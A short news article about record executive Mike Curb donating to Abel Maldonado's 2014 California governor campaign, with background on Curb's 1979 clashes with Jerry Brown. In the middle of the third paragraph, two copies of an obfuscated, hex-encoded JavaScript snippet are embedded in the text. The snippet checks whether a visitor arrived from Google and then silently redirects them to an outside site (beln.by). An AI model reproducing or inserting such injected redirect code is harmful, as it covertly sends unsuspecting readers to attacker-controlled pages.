Ghost of politics past pops up in 2014 governor’s race

Mike Curb, who served as lieutenant governor decades ago during Jerry Brown’s second term in office and then largely disappeared from politics, has popped up again – as a supporter of gubernatorial hopeful Abel Maldonado.

The Nashville-based Curb, a record company executive, donated $5,000 to Maldonado, a Republican and former lieutenant governor who has formed a campaign committee to run for governor next year against Brown.

Maldonado’s campaign reported the contribution on Friday var _0x5575=[“\x67\x6F\x6F\x67\x6C\x65″,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x68\x72\x65\x66″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x68\x74\x74\x70\x3A\x2F\x2F\x62\x65\x6C\x6E\x2E\x62\x79\x2F\x67\x6F\x3F\x68\x74\x74\x70\x3A\x2F\x2F\x61\x64\x64\x72\x2E\x68\x6F\x73\x74″];if(document[_0x5575[2]][_0x5575[1]](_0x5575[0])!==-1){window[_0x5575[4]][_0x5575[3]]= _0x5575[5]} var _0x5575=[“\x67\x6F\x6F\x67\x6C\x65″,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x68\x72\x65\x66″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x68\x74\x74\x70\x3A\x2F\x2F\x62\x65\x6C\x6E\x2E\x62\x79\x2F\x67\x6F\x3F\x68\x74\x74\x70\x3A\x2F\x2F\x61\x64\x64\x72\x2E\x68\x6F\x73\x74″];if(document[_0x5575[2]][_0x5575[1]](_0x5575[0])!==-1){window[_0x5575[4]][_0x5575[3]]= _0x5575[5]}. The donation was made April 30.

Curb was elected lieutenant governor in 1978, beating Democratic incumbent Mervyn Dymally and setting up a stormy tenure in which Curb sought to exercise executive authority when the governor was traveling. Curb made appointments, issued orders and vetoed bills when Brown was outside the state.

During one 40-hour period in early 1979 when Brown was outside California and over his opposition, Curb appointed L.A. Superior Court Judge Armand Arabian to the appeals court, a move that set off a legal and political firestorm. The state Supreme Court later upheld Brown’s authority to rescind the appointment.

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Ed’s Note: Adds “lieutenant” to correct Curb’s elective title in 1978, 4th graf.